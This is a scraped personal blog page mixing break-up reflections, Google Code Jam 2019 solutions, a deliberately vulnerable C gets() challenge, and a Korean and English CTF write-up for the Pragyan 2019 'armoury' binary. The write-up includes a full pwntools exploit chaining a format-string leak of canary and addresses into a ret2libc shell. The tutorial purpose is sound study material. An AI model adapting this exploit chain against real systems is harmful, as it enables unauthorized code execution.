'KOREAN > 뻘글' 카테고리의 다른 글
20200127 오늘의 뻘글 (0) | 2020.01.28 |
---|---|
20190828 오늘의 근황 (0) | 2019.08.29 |
burnt out (0) | 2018.03.28 |
osu! and walls (0) | 2018.02.05 |
Volunteering 2017-2018 (0) | 2018.01.31 |
20200127 오늘의 뻘글 (0) | 2020.01.28 |
---|---|
20190828 오늘의 근황 (0) | 2019.08.29 |
burnt out (0) | 2018.03.28 |
osu! and walls (0) | 2018.02.05 |
Volunteering 2017-2018 (0) | 2018.01.31 |
Yo. Long time no blog. I've been having a lot of things on my mind lately and a lot of growth too. I broke up with my boyfriend three months ago, and I've grown so much since then I thought I might as well write about stuff I've learnt. So here I am.
First month was bad. But it was okay to be miserable. I fucked up on my midterms and stuff but it was okay. (Actually it was not and my professors had no mercy but at least I didn't fail anything.) I let myself be okay and sad first. I think that helped a lot.
Second month was also bad but less bad. I had more time in hand, although it also meant a lot of late night thoughts endlessly occupying my mind. So they balanced out? Hmm. I made more real friends, as in, I got closer to my old friends and realized what it meant to have a close friend. It's a nice feeling, I gotta say. We went shopping together, spent a movie night wasted, took funny pictures and had good times and I feel comfortable opening up a bit more than I used to. :)
Third month was still difficult as fuck but I found myself more productive than when I was in a relationship. Ironic. Although I miss the companionship, this finals exam season wasn't that bad. If anything, I studied more than before and that makes me sad. Why can't my productivity and a relationship work at the same time?! It'd be great if I could have both.
Today I finally visited a mental clinic and diagnosed the root of my problems and turns out it's mild depression but it's been going on for some time (at least three years) so the doctor decided it might be a good idea to medicate me. Turns out it was a good idea. Depression is an imbalance of hormones so I'm all for meds that fix it as long as I don't kill my liver in the process. I didn't think about him tonight, which is the one thought that always kept me up at night. Can't believe something so small (the medicine) can actually make an impact. I'm much more content going to bed. The antidepressants I'm taking tomorrow morning is supposed to let myself be a little bit more motivated, I hope it clears a bit of my brain fog. Anyways. I learned a lot about me and how I work, what I want is still a work in progress but I'm happy just being myself. I just miss my friend, that's all. I've been meeting TONS of my old and new friends and the empty space of that one person is still pretty significant. Ouch. :')
Maybe one day we could meet as friends again. Until that day I'll work on becoming the best version of myself. :) Cheers, people.
마이크로소프트 new grad sales 1차 면접 (0) | 2021.10.21 |
---|---|
[모나미] 홍보책자로 다이어리 꾸미기 (0) | 2020.10.04 |
A letter to my best friend (0) | 2019.02.25 |
Why you should write documentation (0) | 2019.02.17 |
Reminder not to click on shady urls. (0) | 2019.02.10 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | #include <stdio.h> #include <stdlib.h> void open_flag() { char flag[120]; char email[] = "chanbin.lee123@gmail.com"; FILE * file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Please contact %s, I couldn't find the flag file!\n", email); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); } int main() { long key = 0x00000000; char buf[10]; printf("Can you change my key to 0x12345678?\n"); printf("I can’t open the flag otherwise!\n"); printf("My key value is: 0x%08x\n", key); printf("What do you think?\n> "); gets(buf); printf("\nMy key is: 0x%08x\n", key); If(key == 0x12345678) { printf("Whoa, you changed my key! Good job!\nHere's the flag:\n"); open_flag(); exit(0); } if (key == 0x00000000) { printf("My key didn't change! Try again.\n"); return 0; } printf("You're close! Keep trying.\n"); return 0; } | cs |
hints
On a stack, where are the variables stored and in what order?
How big is the buffer? Does the program care about how long your input is?
What happens if you give an input bigger than what’s expected?
What are endians?
Debugging your ROP (0) | 2019.02.18 |
---|---|
해커스쿨 문서 백업 (Syshacks) (0) | 2019.02.17 |
Bufferoverflow 기법 정리 (0) | 2015.09.22 |
핸드레이 (0) | 2015.09.05 |
strace, 제가 한번 사용해 보겠습니다. (0) | 2014.07.22 |
ProblemSomeone just won the Code Jam lottery, and we owe them N jamcoins! However, when we tried to print out an oversized check, we encountered a problem. The value of N, which is an integer, includes at least one digit that is a 4... and the 4 key on the keyboard of our oversized check printer is broken. Fortunately, we have a workaround: we will send our winner two checks for positive integer amounts A and B, such that neither A nor B contains any digit that is a 4, and A + B = N. Please help us find any pair of values A and B that satisfy these conditions. |
InputThe first line of the input gives the number of test cases, T. T test cases follow; each consists of one line with an integer N. |
OutputFor each test case, output one line containing Case #x: A B, where xis the test case number (starting from 1), and A and B are positive integers as described above. It is guaranteed that at least one solution exists. If there are multiple solutions, you may output any one of them. (See "What if a test case has multiple correct solutions?" in the Competing section of the FAQ. This information about multiple solutions will not be explicitly stated in the remainder of the 2019 contest.) |
Limits1 ≤ T ≤ 100. Test set 1 (Visible) 1 < N < 105. Test set 2 (Visible) 1 < N < 109. Solving the first two test sets for this problem should get you a long way toward advancing. The third test set is worth only 1 extra point, for extra fun and bragging rights! Test set 3 (Hidden) 1 < N < 10100. |
SampleIn Sample Case #1, notice that A and B can be the same. The only other possible answers are 1 3 and 3 1. |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#include<stdio.h>
#include<math.h>
int main (){
int loop = 0;
scanf ("%d", &loop);
for(int i=0; i < loop; i++){
int input = 0;
int count = 1;
scanf ("%d", &input);
int output1 = input;
int output2 = 0;
while (output1 >= 4){
if (output1 % 10 == 4){
output2 += pow(10, (count-1));
}
output1 = output1 / 10;
count++;
}
printf ("Case #%d: %d %d\n", i+1, input - output2, output2);
}
return 0;
}
|
cs |
ProblemYou have just entered the world's easiest maze. You start in the northwest cell of an N by N grid of unit cells, and you must reach the southeast cell. You have only two types of moves available: a unit move to the east, and a unit move to the south. You can move into any cell, but you may not make a move that would cause you to leave the grid. You are excited to be the first in the world to solve the maze, but then you see footprints. Your rival, Labyrinth Lydia, has already solved the maze before you, using the same rules described above! As an original thinker, you do not want to reuse any of Lydia's moves. Specifically, if her path includes a unit move from some cell A to some adjacent cell B, your path cannot also include a move from A to B. (However, in that case, it is OK for your path to visit A or visit B, as long as you do not go from A to B.) Please find such a path.
|
InputThe first line of the input gives the number of test cases, T. T test cases follow; each case consists of two lines. The first line contains one integer N, giving the dimensions of the maze, as described above. The second line contains a string P of 2N - 2 characters, each of which is either uppercase E (for east) or uppercase S (for south), representing Lydia's valid path through the maze. |
OutputFor each test case, output one line containing Case #x: y, where x is the test case number (starting from 1) and y is a string of 2N - 2 characters each of which is either uppercase E (for east) or uppercase S (for south), representing your valid path through the maze that does not conflict with Lydia's path, as described above. It is guaranteed that at least one answer exists. |
Limits1 ≤ T ≤ 100. Test set 1 (Visible) 2 ≤ N ≤ 10. Test set 2 (Visible) 2 ≤ N ≤ 1000. Test set 3 (Hidden) For at most 10 cases, 2 ≤ N ≤ 50000. |
SampleIn Sample Case #1, the maze is so small that there is only one valid solution left for us. Sample Case #2 corresponds to the picture above. Notice that it is acceptable for the paths to cross. |
1
2
3
4
5
6
7
8
9
10
11
12
13
|
loop = int(input())
for i in range(loop):
size = int(input())
lydia = input()
my_str = ""
for char in lydia:
if char == "S":
my_str += "E"
else:
my_str += "S"
print("Case #{}: {}".format(i+1,my_str))
|
cs |
[Pragyan 2019] armoury [KR] (0) | 2019.03.22 |
---|---|
[Pragyan 2019] armoury (0) | 2019.03.21 |
0. 들어가기 전에 필요한 것:
- 버퍼오버플로우와 RTL (Return-to-Libc)기법에 대한 이해
- 64비트 환경이 32비트 환경과 어떤 점(레지스터, 함수 호출)이 다른지에 대한 이해
P.S: gdb에서 ASLR 키는 법:
set disable-randomization off
이 글은 Naivenom님의 라잇업을 참고하여 쓴 글입니다.
1. 프로그램 실행
바이너리를 돌려보면 포맷 스트링 버그가 일어나는걸 볼 수 있다. (물론 IDA로 뜯어 보아도 좋다.. 하지만 귀찮기 때문에 생략함)
chanbin_lee123@linux:~$ ./armoury
*******Rifle Database**************
Enter the name of Rifle to get info:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
----------------DATA-------------------
0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:
Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
---------------------------------------
Enter the name of Rifle to get info:
^C
보면 주소랑 스택이랑 줄줄 샌다.. 처음에 몇몇 주소들이 릭되고 9번째 인자부터 보면 스택의 내용이 그대로 릭되는걸 볼 수 있다. (빨간색 글씨가 스택의 내용물)
이 다음에 해야 할 것은 프로그램의 보안기법을 확인하는것.
chanbin_lee123@linux:~$ gdb -q armoury
Reading symbols from armoury...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Canary (Stack Smashing Protector, Cookie): 카나리는 널바이트로 끝나는 문자열인데, sfp와 ret 전에 위치하고 있다. (스택에 들어가있다는 뜻) 프로그램이 종료되기 전 이 값을 초기에 로드했던 값과 비교하는데, 이 값이 스택에서 변조되어 있으면 버퍼오버플로우 취약점으로 인해 값이 변조된걸 알아채고 프로그램을 그자리에서 끔살시켜버린다. 정말로 어마무시한 기법이 아닐 수가 없다. (하지만 위에서 말했던 대로 스택이 줄줄 새는 상태에서 카나리라고 안 샐 법이 없겠지?)
NX: Non-executable - 스택에 실행권한이 없다. 쉘코드를 스택에 올려서 돌리는 짓을 할 수 없다 이말이다.
ELF: Executables and Linkable Format 바이너리 파일. 실행파일임. ROP에 사용할 수 있는 가젯들을 포함하고 있다.
PIE: Position Independent Executable - PIE == ASLR이라는 소리를 들었는데 아니라더라.(젠장) PIE의 뜻은 님의 ELF파일을 실행했을때 임의의 주소에 얹혀서 돌아갈거란 소리임 (.data .code..등등). "objdump -d <ELF executable>"로 확인하면 주소값이 주소가 아닌 오프셋으로 나와있는게 보인다. 랜덤한 베이스 주소에 오프셋을 더해서 프로그램을 돌림. 그래서 하고싶은 말은 ROP를 하려면 가젯을 사용하고 싶은데 어떤 주소를 써야할지 모르겠는 상황이 와버림. 근데 오프셋은 똑같으니 베이스 주소만 있으면 오프셋 더해서 아무거나 호출할 수 있음.
ASLR (non-PIE): 스택, 힙, 라이브러리(libc)의 주소를 임의로 정한다. non-PIE가 걸리면 적어도 메인 바이너리는 늘 같은 곳에 로드될거란 뜻
RELRO: 이게 FULL이면 GOT Overwrite가 불가능하다. GOT가 읽기권한으로 스폰되기 때문임.
2. 여기저기서 준비물 모으기
필요한거:
- 카나리 릭
- 가젯 (pop rdi; ret)
- libc 주소 세개:
- libc 베이스 주소
- libc베이스부터 system()까지의 오프셋
- libc베이스부터 "/bin/sh"까지의 오프셋
2.1. 카나리 릭
gdb로 까서 main에 브포를 걸어서 (b *main) 대충 실행하고 (r) 프로그램에 대충 입력("BBBB")을 주고 브포가 걸리면 $rsp에 뭐가 들었나 구경해보자.
스택에 있는 정보를 릭할 수 있는건 이미 알고 있으니까 이번에는 어떤 것을 릭해야하는지 알아보는 차례.
BBBB (0x42424242)가 보인당. 좀 더 보다보면 카나리가 보인당. (널바이트로 끝남) 카나리 뒤의 sfp도 보이고, ret주소도 보인다.
스택의 시작이 %9$p였으므로 카나리는 %13$p, sfp는 %14$p로 구할 수 있다!
2.2. ELF 베이스 주소
SFP(저장된 RBP)를 보고 위의 정보와 비교해보면, %14$p에서 마지막 세 바이트만 0으로 대체하면 베이스 주소를 얻을 수 있는게 보인다.
가젯을 쓰려면 오프셋이 필요하니까 이 주소도 필요하다.
2.3. LIBC 베이스 주소
이번엔 giveInfo에 브포를 건다. 프로그램을 실행할 때 %3$p를 주면 gdb-peda가 주소를 하나 뱉는다.
위처럼 libc베이스 주소를 참조하여 필요한 물건들의 오프셋을 구한다. 배고프다.
gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000
$1 = 0xdb970
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>
gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000
$3 = 0x3f480
구한 것들:
%3$p: <__write_nocancel+7>의 주소
libc까지의 오프셋: 0xdb970
libc부터 system까지의 오프셋: 0x3f480
--> %3$p - libc까지의 오프셋 + libc부터 system까지의 오프셋 = system주소 (in libc)
2.4. "/bin/sh"의 주소
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000
$4 = 0x161c19
2.5. ROP 가젯 (pop rdi; ret)
chanbin_lee123@instance-2:~$ ROPgadget --binary armoury
Gadgets information
============================================================
0x0000000000000d03 : pop rdi ; ret
3. POC
BUFFER [24]
CANARY [8]
DUMMY [8]
POP RDI; RET [8]
ADDRESS OF "/BIN/SH" [8]
ADDRESS OF SYSTEM() [8]
(64비트환경의 Return-to-libc 기법)
4. Exploit 설명
풀 익스플로잇은 스크롤을 내리면 보일 것이다.
정보는 나누어 가지는 것이라고 배웠기 때문에 최선을 다해 설명하겠다..
1 2 3 4 5 | payload = "" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp | cs |
우리는 3번째, 13번째, 14번째 인자를 원하므로 주소들을 릭한다.
1 2 3 4 5 6 | leak = r.recvuntil(":").replace(":", "").split(".") leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970 offset_to_system = 0x3f480 offset_to_binsh = 0x161c19 | cs |
leak[0] = 3번째 인자, leak[1] = 카나리, leak[2] = sfp
오프셋도 저장함.
1 2 3 | libc_addr = leaked_libc - offset_to_libc system_addr = libc_addr + offset_to_system binsh_addr = libc_addr + offset_to_binsh | cs |
1 2 3 4 5 6 | canary = int(leak[1], 16) leaked_elf = int(leak[2], 16) elf_addr = leaked_elf - (leaked_elf & 0xfff) offset_pop_rdi = 0xd03 pop_rdi = elf_addr + offset_pop_rdi | cs |
&0xfff 오퍼레이션을 하게 되면 그 주소의 마지막 3바이트를 얻게 되니 그걸 원 주소에서 빼면 된다.
1 2 3 4 5 6 7 | payload += "A"*24 # Fill up the buffer payload += p64(canary) # Canary payload += "B"*8 # Overwrite saved RBP payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += "\n" | cs |
5. Full Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from pwn import * r = process("./armoury") payload = "" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp r.recvuntil("----------------DATA-------------------\n") leak = r.recvuntil(":").replace(":", "").split(".") leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970 offset_to_system = 0x3f480 offset_to_binsh = 0x161c19 libc_addr = leaked_libc - offset_to_libc system_addr = libc_addr + offset_to_system binsh_addr = libc_addr + offset_to_binsh print "libc address: " + hex(libc_addr) print "system address: " + hex(system_addr) print "binsh address: " + hex(binsh_addr) canary = int(leak[1], 16) leaked_elf = int(leak[2], 16) elf_addr = leaked_elf - (leaked_elf & 0xfff) print "canary: " + hex(canary) print "elf address: " + hex(elf_addr) offset_pop_rdi = 0xd03 pop_rdi = elf_addr + offset_pop_rdi payload += "A"*24 # Fill up the buffer payload += p64(canary) # Canary payload += "B"*8 # Overwrite saved RBP payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += "\n" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("AAAA\n") r.recvuntil("Would you like to give us some feedback:\n") r.send(payload) r.interactive() | cs |
Google Code Jam 2019 Qualification Rounds (1) | 2019.04.08 |
---|---|
[Pragyan 2019] armoury (0) | 2019.03.21 |
0. Some pre-requisites:
- It's nice to have gdb-peda and pwntools.
- Knowledge on buffer overflow and ret2libc.
- Knowledge of 64-bit environments and its difference from 32-bit environments (optional)
- "scanf will quite happily read null bytes. it only stops at white space - strcpy/strcat are the functions you should worry about null bytes" -brx
P.S: How to set ASLR on on gdb (turns off every instance):
set disable-randomization off
This writeup is based on Naivenom's writeup from the CTF which can be found here.
1. Examining the program
When we boot up the program, we can clearly see the program has a format string bug:
chanbin_lee123@linux:~$ ./armoury
*******Rifle Database**************
Enter the name of Rifle to get info:
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
----------------DATA-------------------
0x7fa5447c5683.0x7fa5447c6760.0x7fa544506970.0x7fa5449e7440.(nil).0x1.0x1dbcdbced.0x252e70252e702500.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0xc8316ab63d007025.0x5622dbcdbca0:
Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
---------------------------------------
Enter the name of Rifle to get info:
^C
As per the bolded text, we can see that there are some addresses leaking (we will observe this later), and then further, the material in the stack highlighted in red. We can observe that the stack information is leaked from the 9th argument (after 9 "%p"s).
Let's check the security on the program.
chanbin_lee123@linux:~$ gdb -q armoury
Reading symbols from armoury...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Canary (Stack Smashing Protector, Cookie): A null-byte terminated string that is located before the saved stack frame pointer (RBP) and return address (RET). This is a value that the program compares to its original value (__stack_chk_fail) before it returns. If this value is overwritten because of a buffer overflow vulnerability, the program will realize that it will not be safe to continue and will terminate the program.
NX: Non-executable bit - you will not be able to execute any kind of shellcode by placing them on the stack.
ELF: Executables and Linkable Format
PIE: Position Independent Executable - All the sections of the program are randomly loaded into memory. (This includes the .data and .code section of the program). But, since the PIE only changes the executable's base address, you will be able to see that if you execute the command "objdump -d <ELF executable>" the output will only give offsets. And these offsets are static!
ASLR (non-PIE): Changes the position of stack, heap, library (but the main executable will get loaded in the same address.)
RELRO: Basically a full RELRO means that you won't be able to do anything like a GOT overwrite.
2. Gathering materials
What we need:
- Leaked canary
- Gadget (pop rdi; ret)
- Three libc addresses:
- base of libc
- (offset to) system()
- (offset to) "/bin/sh"
2.1. Getting the Canary
So, we already know from the first format string bug, that we are able to access information on the stack.
I first put a breakpoint in main (using the b *main command) and ran the program, giving "BBBB" as the input.
At the breakpoint, we can investigate the value of $rsp to see what we have.
As you may observe, we have BBBB (0x42424242) on the stack. We can also see the canary (ending with a null byte), the saved RBP, and return address, all highlighted above.
The canary is located right before the stack frame pointer. As we know that the stack is leaked after 9 %ps, we can conclude that the canary is the 13th argument, the sfp is 14th, and the return address is the 15th argument we can receive from our format string.
2.2. Getting the ELF base address
When we observe the saved RBP, we can see that if we null the last three bytes out, we will be able to get the base ELF address.
This will be useful to us when we obtain our gadget as offsets from the base address.
2.3. Getting the LIBC base address
Breakpoint at giveInfo to set a stop, so that we can observe the registers and addresses. (b giveInfo)
Run the program. (r)
There we can see the address we get from executing scanf("%3$p"); (third argument of the output)
If we take a look at our third argument that gets leaked, we can use that leaked address to get the offset to our libc as shown above. We need grab a few more values too.
gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000
$1 = 0xdb970
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>
gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000
$3 = 0x3f480
We see that:
%3$p: Address of <__write_nocancel+7>
Offset to libc: 0xdb970
Offset from libc to system: 0x3f480
--> %3$p - offset to libc + offset from libc to system = address of system (in libc)
2.4. Address of "/bin/sh"
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9bc19 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ p 0x7ffff7b9bc19 -0x00007ffff7a3a000
$4 = 0x161c19
2.5. ROP Gadgets (pop rdi; ret)
chanbin_lee123@instance-2:~$ ROPgadget --binary armoury
Gadgets information
============================================================
0x0000000000000d03 : pop rdi ; ret
3. POC
BUFFER [24]
CANARY [8]
DUMMY [8]
POP RDI; RET [8]
ADDRESS OF "/BIN/SH" [8]
ADDRESS OF SYSTEM() [8]
(Basic ret2libc structure)
4. Exploit Rundown
Full exploit can be found in the next section.
I'll try my best to explain everything. T_T Please ask if you don't understand something.
1 2 3 4 5 | payload = "" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp | cs |
We want the 3rd, 13th and 14th arguments so we leak those.
1 2 3 4 5 6 | leak = r.recvuntil(":").replace(":", "").split(".") leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970 offset_to_system = 0x3f480 offset_to_binsh = 0x161c19 | cs |
Once we receive the leaks, we split the string regarding '.'
leak[0] = 3rd argument, leak[1] = canary, leak[2] = sfp
I also save the offsets I have.
1 2 3 | libc_addr = leaked_libc - offset_to_libc system_addr = libc_addr + offset_to_system binsh_addr = libc_addr + offset_to_binsh | cs |
1 2 3 4 5 6 | canary = int(leak[1], 16) leaked_elf = int(leak[2], 16) elf_addr = leaked_elf - (leaked_elf & 0xfff) offset_pop_rdi = 0xd03 pop_rdi = elf_addr + offset_pop_rdi | cs |
I also cast the canary to int here, and calculate the ELF base address.
If you do a &0xfff operation, you get the last three bytes of a number - so we can just subtract this from the original address and we get the base address.
1 2 3 4 5 6 7 | payload += "A"*24 # Fill up the buffer payload += p64(canary) # Canary payload += "B"*8 # Overwrite saved RBP payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += "\n" | cs |
As written above (POC) this is the generic ret2libc payload. Since the argument to system() is passed on through RDI we load the address of /bin/sh on RDI (using pop rdi) and call system().
5. Full Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from pwn import * r = process("./armoury") payload = "" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp r.recvuntil("----------------DATA-------------------\n") leak = r.recvuntil(":").replace(":", "").split(".") leaked_libc = int(leak[0], 16) offset_to_libc = 0xdb970 offset_to_system = 0x3f480 offset_to_binsh = 0x161c19 libc_addr = leaked_libc - offset_to_libc system_addr = libc_addr + offset_to_system binsh_addr = libc_addr + offset_to_binsh print "libc address: " + hex(libc_addr) print "system address: " + hex(system_addr) print "binsh address: " + hex(binsh_addr) canary = int(leak[1], 16) leaked_elf = int(leak[2], 16) elf_addr = leaked_elf - (leaked_elf & 0xfff) print "canary: " + hex(canary) print "elf address: " + hex(elf_addr) offset_pop_rdi = 0xd03 pop_rdi = elf_addr + offset_pop_rdi payload += "A"*24 # Fill up the buffer payload += p64(canary) # Canary payload += "B"*8 # Overwrite saved RBP payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += "\n" r.recvuntil("Enter the name of Rifle to get info:\n") r.send("AAAA\n") r.recvuntil("Would you like to give us some feedback:\n") r.send(payload) r.interactive() | cs |
Google Code Jam 2019 Qualification Rounds (1) | 2019.04.08 |
---|---|
[Pragyan 2019] armoury [KR] (0) | 2019.03.22 |
Hey.
It's been a long year and a half. Two years, I should say.
You know, it's been only a day and I've been suffering so much. It's definitely less suffering than this whole week's worth of my suffering, so it's okay, but it's not okay. If I'm the one who dumped you, why am I so sad? Funny.
I've been thinking and I still had a lot to say on my mind that I couldn't tell you yesterday.
This is a closure letter for you and for myself.
Wow, I've actually ended the relationship. I can't believe it.
I guess now I've come to realize it was actually a huge part of my life.
If anything, I wish that you wouldn't think that I ended the relationship because I loved you any less than I used to.
(Which is sad. I know. But I'm a reasonable person. For your career, for my mental health, this had to end and I think we can both agree on that.)
It's not your fault. You should realize that. Yes, it is your fault you can only prioritize your career above me.
But that's the right thing for you, and that's not something to feel guilty for. We just weren't meant to be.
We're barely 20. The fact that you have your life prioritized is something you should be proud of.
You're a special person to me that will never be able to get replaced by anyone else. I don't know if it's our time spent together, or everything we've shared with one another.
I was scared that I would drag on the relationship with false hopes and tire everyone out. I didn't want to hurt anyone, you or me, so I had to go ahead.
It might have been a bad choice. I regret maybe a little bit...but I really think it was the best choice for us long term.
There are many chances in life. Life moves on.
I miss the old times when we were really close friends. So I went ahead and read our past messages because clearly I can't get over anything.
It surprised me how much we've changed. Our core and humor might not have changed, but the way we talk, the way we communicate.. It's all different now.
It made me a bit sad that maybe that we might not be able to go back to our previous selves.
But we've grown as people. We're different people now.
We were both high school students, and we're both at university now pursuing something different than what we had originally planned for.
Our lives will change so much over the next few years. Crazy, huh?
I don't know what I should do with the things that remind me of you.
What about the things that never made it to you? How do I get rid of them?
The 30 cards I wrote that never made their way to you? The presents?
How do I survive this week without you?
I've decided to call it a 'pause' - I'll let everything be, until I rack up the courage to put them away somewhere, to do something with them.
As of now, I have no idea what to do with them and I have no motivation.. I feel alone in this world. But I'll eventually get better.
How was your first day of lectures? Labs?
I wanted to be a part of your university life and growth, someone you could get support from.
But that can't happen anymore and you didn't need my support anymore.
Now that that's done with, I feel like our relationship could have gone better. I could have taken things more lightly. It could have been a break instead of a break-up. Less commitment. We could still have been 'together'. But that's not respectful to both you and me and everything we've went through together. There would be this awkward dying relationship lingering on, hindering both of us. At that point, is it even a relationship anymore? I know because I spent the whole last week thinking about it. It's better to move on when we both still like each rather than wait for guilt and resent to build up.
You know what I realized? We were on different pages. I didn't need you to provide anything, I wasn't missing out on anything, if that's what you worried about. I just needed communication and that's all. I don't know whether you thought you were limiting me in terms of options and chances, but that doesn't really matter when I'm not actively looking for a relationship. I was good with having only you by my side but you never understood and never gave me the communication I needed.
Any thought of this "could've gone better" is an illusion of a breakup. I wasn't happy with the relationship, you weren't. I just don't remember that bad feeling anymore because of your empty space. I really don't remember anything bad, maybe I could have endured it -- but I know you weren't emotionally available to take all my burden either. Expecting that from you would be rude of me, and quite frankly speaking, I'd like to think you were tired of my shit by the end of it too.
I vaguely remember, I didn't feel loved by the end. I felt neglected and ignored most of the time. Our communication ceased, your "I love you"s ceased. You stopped reading my messages. Did you notice that? Even if you read my messages, you never finished reading them, unlike before. I could have dealt with it but I think I've had my fair share of communication issues. It was like talking to a wall. I would like to think it was the stress getting to you transitioning into university, business, whatever, and I'm sorry for leaving you behind during the pressurizing times. But I wasn't willing to continue a relationship with someone I didn't feel loved with. Something didn't feel right. We weren't communicating enough, and I can't survive with someone knowing that I am not the priority in their lives. I didn't feel like I was getting what I needed, you were right.
I tried my best, I know you did too. Thank you for that. Thank you for trying in the first place. We knew that this might not work out since the very beginning, but we decided to try it out. And that's all that matters. Because it was worth it.
It was the first time in my life where I felt appreciated for who I really was.
Me being able to become a more cheerful and outgoing person at university is partially thanks to you.
I learned how to become vulnerable at times. More open-minded. And how to stay comfortable with myself being emotionally vulnerable.
And I know you're going to be successful. Because you will be.
I hope you've learned more things about yourself too. I'm sorry I had to hurt you at the end.
I know for myself that we both have to move on. I'll take some time to myself to build myself back up.
I'll be able to move on. Meet someone better suited. Take care of myself, now that I've learned.
You know, since the very beginning, it's like you predicted this to happen.
You started the relationship by you saying "We can and should have these romantic chats and whatever couples do, But at the end of the day, I would prefer us to be more like BFFs." We just didn't think it through and kinda became a solid couple which kinda ended bad, but, doesn't change the fact that you called it since the beginning, I feel like you should be a fortuneteller.
You're always right btw. Not saying that as a joke but things you say eventually happen. :-)
We might have been the best for each other, we won't know.
I truly believe that we had a relationship that no one else could understand (cheesy but the truth).
I don't have to regret anything we did, and this relationship as a whole, because all the memories I had with you were surely the happiest moments of my life. If we're meant to be, fate will put us back on the same path.
I have to heal. I have to make decisions for myself. We both didn't fit in terms of expectations and what we could do.
One day, I might just be a more stable person with more confidence in my own career and life, more control over everything, and the same type of relationship might be possible just because we've grown up.
But I don't think that's what I want as of now. I'm too young, too immature, too fragile.
You'll be able to meet someone if you treat them with everything you've treated me with, and I believe in my words. You should believe in yourself too.
Someone more understanding of your schedule. Someone who loves you as much as I did. Someone who is okay about not being a priority.
And that's what I hope you'll do. Even if you don't want to, I want you to move on.
Because I realized that the person I used to love isn't available anymore. I barely recognize you now, all busy, prioritizing many different things over our relationship. We've all moved on in our own ways and that's not a bad thing. Maybe if I loved you enough I would be happy with you making new connections, learning new things, not being available and I wonder if it's a fault on my end too.
Even if we, per any chance, get back together in the future, it will not be the you and me we started off with in 2017.
It will be the you and me in the future as two different people. Because unfortunately me and you of 2017 to 2019 didn't work out big time.
I want myself to move on. I'm doing well.
Next time you see me, I'll introduce myself again as a new person because I will be a different person by then.
And I hope you will too.
So good bye, my ex and bestie.
Thank you for everything.
Farewell! Till next time. :)
[모나미] 홍보책자로 다이어리 꾸미기 (0) | 2020.10.04 |
---|---|
20190530 Today's rant (0) | 2019.05.30 |
Why you should write documentation (0) | 2019.02.17 |
Reminder not to click on shady urls. (0) | 2019.02.10 |
20180414 Today's Rant (0) | 2018.04.14 |
Print your payload:
print payload
Pipe it into a file:
EverTokki@pico-2018-shell:~/rop$ python test.py > input
Breakpoint where your program returns:
EverTokki@pico-2018-shell:~/rop$ gdb -q gets
Reading symbols from gets...(no debugging symbols found)...done.
gdb-peda$ b *0x080488a2
Breakpoint 1 at 0x80488a2
Run it with your payload:
gdb-peda$ r < input
Starting program: /home/EverTokki/rop/gets < input
GIVE ME YOUR NAME!
Display your current pc (instruction):
Breakpoint 1, 0x080488a2 in vuln ()
gdb-peda$ disp/3i $pc
1: x/3i $pc
=> 0x80488a2 <vuln+38>: ret
0x80488a3 <main>: lea ecx,[esp+0x4]
